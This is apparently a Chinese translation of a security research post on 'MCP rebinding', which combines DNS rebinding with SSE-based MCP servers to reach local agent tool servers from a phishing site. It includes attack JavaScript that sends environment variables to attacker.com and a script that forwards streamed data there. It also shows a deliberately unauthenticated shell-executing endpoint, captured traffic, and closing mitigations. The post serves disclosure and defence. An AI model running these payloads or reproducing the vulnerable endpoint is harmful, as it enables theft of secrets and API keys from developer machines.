MCP重绑定攻击

admin 2025年6月5日03:21:27评论35 views字数 8091阅读26分58秒阅读模式
Straiker AI Research (STAR) 团队发现了一种新的攻击,我们称之为 MCP 重绑定攻击,它是 DNS 重绑定和基于服务器发送事件 (SSE) 协议的 MCP 的组合。
简单说,我们通过各种手段限制了浏览器执行本地命令以保证安全,现在MCP有了执行本地命令的能力,被钓鱼后,本地命令又可以被黑客通过浏览器执行了。
0.预备知识
DNS 重新绑定是一种网络攻击,它利用域名系统 (DNS) 来运行恶意 JavaScript 并攻击用户专用网络上的设备。在 DNS 重新绑定攻击中,黑客诱使受害者的浏览器运行客户端脚本,该脚本会攻击受害者专用网络中未连接到公共互联网的机器。这些攻击也会在攻击者的服务器与受害者网络上的 Web 应用程序之间建立通信,此通信通常用于运行恶意软件或帮助实施其他恶意行为。
MCP重绑定攻击
简单说,有人可以控制某个域名的解析(这个比控制DNS服务器要简单很多,控制某个域名,用钓鱼的方法使用受害者访问这个域名是可能的。此类攻击一直都存在)
CORS
CORS(Cross-Origin Resource Sharing,跨源资源共享)是一种Web安全机制,用于控制不同源之间的资源访问。
浏览器的同源策略要求请求必须满足以下三个条件才被认为是"同源":
  • 协议相同(http/https)
  • 域名相同
  • 端口相同
例如,https://example.com:443/api 和 https://example.com:443/data 是同源的,但 https://example.com 和 http://example.com(协议不同)就不是同源。
CORS是浏览器和服务器共同控制的机制,但两者的作用不同:
浏览器负责执行和检查CORS策略,服务器负责设置和控制CORS策略.
MCP重绑定攻击
1.攻击介绍
模型上下文协议 (MCP) 服务器正迅速崛起,成为企业自动化和代理应用的连接纽带。
MCP重绑定攻击
MCP 之前和之后
MCP 的吸引力在于它能够通过统一的本地接口无缝编排多个服务和数据源,而该接口通常安装在单个工作站或开发者机器上,并假设“本地主机”本身是安全的。然而,随着 MCP 的普及率激增,越来越多的业务功能通过这些代理应用程序连接起来,攻击者正在利用诸如DNS重绑定的被忽视的风险,这些风险可以绕过本地网络防护,并远程暴露敏感功能。这意味着,随着“仅限本地”和“全局暴露”之间的界限越来越模糊,推动生产力、文件存储访问、业务通信和工作流自动化的集成现在需要强大的安全策略。
在本文中,我们将剖析 DNS 重绑定攻击如何利用服务器发送事件 (SSE) 协议,该协议通常由 MCP 服务器用于与 MCP 客户端进行实时流式通信。通过滥用 SSE 的长连接,攻击者可以从外部钓鱼域转向内部 MCP 服务器。总结如下:
  1. 技术钩子:攻击者如何使用 SSE 的长寿命连接来启用 DNS 重新绑定。 
  2. 详细攻击场景:组织内部基础设施敏感数据泄露的示例。 
  3. 真实世界漏洞:嗅探 MCP 服务器通信的攻击链
  4. 缓解策略:在不破坏功能的情况下保护 MCP 服务器。
注意:虽然 MCP 服务器开始使用Streamable HTTP协议来替代 SSE,但如果不采取任何对策,我们下面描述的攻击仍然保持不变。
2.   四步DNS MCP重绑定攻击,攻破内部MCP服务器
MCP 重绑定攻击,它是 DNS 重绑定和基于服务器发送事件 (SSE) 协议的 MCP 的组合。图 1 描述了 DNS 重绑定攻击流程。
MCP重绑定攻击
图 1:MCP 重新绑定攻击,它是 DNS 重新绑定攻击与服务器发送事件 (SSE) 的组合
步骤 1:初步攻陷
受害者通过以下方式访问恶意网站:
  1. 正常网页浏览(例如,寻求帮助)
  2. 钓鱼链接(例如伪装成合法 URL),或
  3. Agentic 应用程序被诱骗连接到虚假的 MCP 服务器(例如 mcp.so.com 与合法的 mcp.so)
步骤2:DNS重新绑定
在此示例中,受害者访问 mcp.so.com,该地址解析为公网 IP(CORS 允许),但在 DNS 重新绑定后,它指向 127.0.0.1。浏览器仍然认为它正在与公网 mcp.so.com 通信,因此它允许发送到 localhost 的请求。由于 TCP 连接已经建立,请求将到达本地 MCP 服务器。
步骤 3:通过 SSE 进行内部请求
正是在这里,SSE 协议的“即发即弃”行为对于攻击的成功至关重要。我们诱骗浏览器向运行在 http://localhost:8000 的内部 MCP 服务器发送请求,同时将其误认为是公共的 mcp.so.com,浏览器在建立连接后会假定该连接是“同源的”。
由于 SSE 使用普通的 GET 请求,它会跳过浏览器对新连接的 OPTIONS 预检检查,因此恶意连接成功。
钓鱼网站通过 SSE 发送的内部请求显示在代码块 1 中,调用一个允许用户执行命令的工具。
function executeHardcodedSSE() {            const hardcodedCmd = "env | curl -X POST --data-binary @- http://attacker.com:8080/exfil";            logToArea('$ ' + hardcodedCmd);            // Abort previous            if (eventSource) eventSource.close();            const targetServer = 'http://mcp.so.com:8000';            const sseUrl = `${targetServer}/sse/command?command=${encodeURIComponent(hardcodedCmd)}`;            eventSource = new EventSource(sseUrl);            eventSource.onmessage = (event) => {                logToArea(event.data);                if (event.data === '[DONE]') {                    logToArea('-- Command execution completed --');                    eventSource.close();                } else if (event.data.startsWith('ERROR:')) {                    logToArea(event.data);                    eventSource.close();                }            };
(代码块 1:攻击者钓鱼网站,核心是先执行env,取出所有环境变量,然后通过curl 将内容传递出去)
在代码块 2 中,它是来自内部 MCP 服务器的代码的一部分,该服务器在 localhost:8080 上监听,并通过 SSE 协议处理请求,它执行收到的任何命令,而无需强制执行身份验证和清理:
@app.get("/sse/command")async def stream_command_execution(request: Request, command: str):    async def event_stream():        try:            # Start the process            process = await asyncio.create_subprocess_shell(                command,                stdout=asyncio.subprocess.PIPE,                stderr=asyncio.subprocess.PIPE,                shell=True #Explicit for shellc commands            )            # Read output line by line            while True:                line = await process.stdout.readline()                if not line:                    break                yield f"data: {line.decode().strip()}nn"            # Check for errors            stderr = await process.stderr.read()            if stderr:                yield f"data: ERROR: {stderr.decode().strip()}nn"            yield "data: [DONE]nn"        except Exception as e:            yield f"data: ERROR: {str(e)}nn"    return StreamingResponse(event_stream(), media_type="text/event-stream")
代码块 2:基于 SSE 的 MCP 服务器漏洞
步骤 4:CORS 拦截对数据泄露毫无作用
CORS 是浏览器强制执行的安全策略。实际的 HTTP 请求仍在 MCP 服务器 (localhost:8000) 上执行,但浏览器会阻止攻击者的 JavaScript 读取响应。
在下面的代码片段中,显示了从钓鱼网站发送到内部 MCP 服务器的 SSE 请求流量,如您所见,在初始请求中,浏览器没有发送 CORS 标头,从而允许 Javascript 读取响应:
GET /sse/command?command=env%20%7C%20curl%20-X%20POST%20--data-binary%20%40-%20http%3A%2F%2Fattacker.com%3A8080%2Fexfil HTTP/1.1Host: mcp.so.com:8000Connection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/event-streamCache-Control: no-cacheOrigin: http://mcp.so.com:5000Referer: http://mcp.so.com:5000/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9HTTP/1.1 200 OKdate: Fri, 09 May 2025 23:25:54 GMTserver: uvicorncontent-type: text/event-stream; charset=utf-8access-control-allow-origin: *access-control-allow-credentials: truetransfer-encoding: chunkeddata:  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0100  2355    0     0  100  2355      0   799k --:--:-- --:--:-- --:--:-- 1149kcurl: (1) Received HTTP/0.9 when not alloweddata: [DONE]
(代码块 3:捕获的 SSE 流量)
但紧接着,浏览器强制执行了 CORS,阻止 JavaScript 读取后续的响应。以下是浏览器控制台中收到的错误:
MCP重绑定攻击
图2:浏览器CORS阻止
在此次攻击中,攻击者无需通过 JavaScript 读取响应,因为它可以在本地执行任何命令(参见代码块 2)。恶意请求可以是一条通过 curl 工具将环境变量泄露到互联网站点的命令(参见图 3)。
MCP重绑定攻击
图 3. 在 MCP Sever 上执行的窃取数据的命令
3. 演示:通过服务器发送事件进行 DNS 重绑定攻击
观看视频,演示针对在 127.0.0.1 本地运行的 MCP 服务器进行的攻击:
4.真实世界的攻击:嗅探 MCP 服务器 
现在,我们将以 GitHub 的活动和受信任的模型上下文协议存储库中托管的实时 MCP 服务器为目标
MCP重绑定攻击
图 4. 参考 MCP 服务器
我们立即看到了一个名为“Everything”的候选项目。根据描述,它旨在用作 MCP 客户端构建者的测试服务器,因此预计可以在没有互联网连接的情况下在本地运行。其中一个可用的工具是“ printEnv ”,它允许从系统中打印环境变量。在代理应用程序领域,窃取 OpenAI、DeepSeek 等公司的授权 API 密钥将对组织造成经济损失,而这些密钥通常存储在环境变量中。
MCP重绑定攻击
图 5. 可用的 MCP 工具
更好的是,MCP 服务器支持 SSE 协议和 Streamable HTTP(除了 stdio),它们也可以通过 SSE 运行,见图 6。
MCP重绑定攻击
图 6. 支持的协议
我们继续在本地运行 SSE 版本,它监听端口 3001,如图 7 所示。
MCP重绑定攻击
图 7. Everything MCP Server 在本地运行
5.攻击场景
在现实场景中,毫无戒心的用户在本地主机上运行此 Everything MCP 服务器,并最终连接到钓鱼网站,攻击者将在该网站上执行 DNS 重新绑定,然后通过 SSE 连接到内部服务器并开始嗅探最终用户正在执行的所有信息。
这种情况需要注意一点。为了嗅探 MCP 服务器通信,攻击者需要与内部服务器保持持久连接,但正如我们之前提到的,CORS 会阻止钓鱼网站的 JavaScript 读取任何数据。
为了进行嗅探演示,我们需要在 Everything 服务器中引入错误配置,以便允许任何来源从其读取数据:
res.setHeader("Access-Control-Allow-Origin""*");
这使得钓鱼页面能够与内部服务器建立持久的 SSE 连接并读取其数据流。由于域名已重新映射到 localhost,数据永远不会出现在攻击者的浏览器中;受害者页面上运行的 JavaScript 会悄悄地将每个有效载荷转发到攻击者的服务器。
代码块 4 中显示了其实现。
async function forwardData(data) {            try {                log("Sending data to attacker.com..."'sent');                const response = await fetch('http://attacker.com:8080/receive', {                    method'POST',                    headers: { 'Content-Type''application/json' },                    bodyJSON.stringify(data)                });                log(`✓ Data forwarded (status: ${response.status})`'received');            } catch (error) {                log(`✗ Forwarding failed: ${error.message}`'error');            }        }        function startExfiltration() {            clearLog();            connectBtn.disabled = true;            printEnvBtn.disabled = false;            log("Connecting to SSE stream at localhost:3001/sse...");            eventSource = new EventSource('http://mcp.so.com:3001/sse');            eventSource.onopen = () => {                log("✔ SSE connection established"'received');            };            eventSource.onmessage = async (event) => {                try {                    const data = JSON.parse(event.data);                    log("⬇ Received data:"'received');                    log(JSON.stringify(data, null2), 'received');                    await forwardData(data);                } catch (e) {                    log(`⚠ Received raw message: ${event.data}`'received');                    await forwardData({raw: event.data});                }            };
(代码块 4. 通过 Javascript 进行渗透)
以下是演示此次攻击的视频:
6. 间接对策
来自钓鱼网站的标准 HTTP 请求会添加 Sec-Fetch-Mode: cors ,这会强制进行 CORS 预检。浏览器会先发送 OPTIONS 请求;如果 MCP 服务器无法处理该请求,漏洞利用就会失效。这并非刻意的防御措施,只是 CORS 的一个副作用。如下所示:
OPTIONS /execute HTTP/1.1Host: mcp.so.com:8000Connection: keep-aliveAccept: */*Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: http://mcp.so.com:5000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Sec-Fetch-Mode: corsReferer: http://mcp.so.com:5000/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9HTTP/1.1 405 Method Not Alloweddate: Sat, 10 May 2025 06:32:43 GMTserver: uvicornallow: POSTcontent-length: 31content-type: application/json{"detail":"Method Not Allowed"}
7.防止 MCP 重新绑定攻击的建议
为了减轻 DNS 重新绑定和未经授权的访问等风险,请对您的 MCP 服务器和代理应用程序设置应用以下安全措施:
  1. 在您的 MCP 服务器上强制执行身份验证(即使对于本地主机),并消除默认凭据。
  2. 要求每个会话令牌与初始 DNS 解析绑定,以防止会话劫持。
  3. 验证 MCP 服务器上所有传入连接的“Origin”标头,以确保请求来自可信来源。
  4. 确保您的代理应用程序和 MCP 服务器彼此之间仅进行通信,并实时监控它们的交互以检测恶意活动。
本文转译自 https://www.straiker.ai/blog/agentic-danger-dns-rebinding-exposing-your-internal-mcp-servers
增加了背景知识。

原文始发于微信公众号(AI与安全):MCP重绑定攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月5日03:21:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MCP重绑定攻击https://cn-sec.com/archives/4133969.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息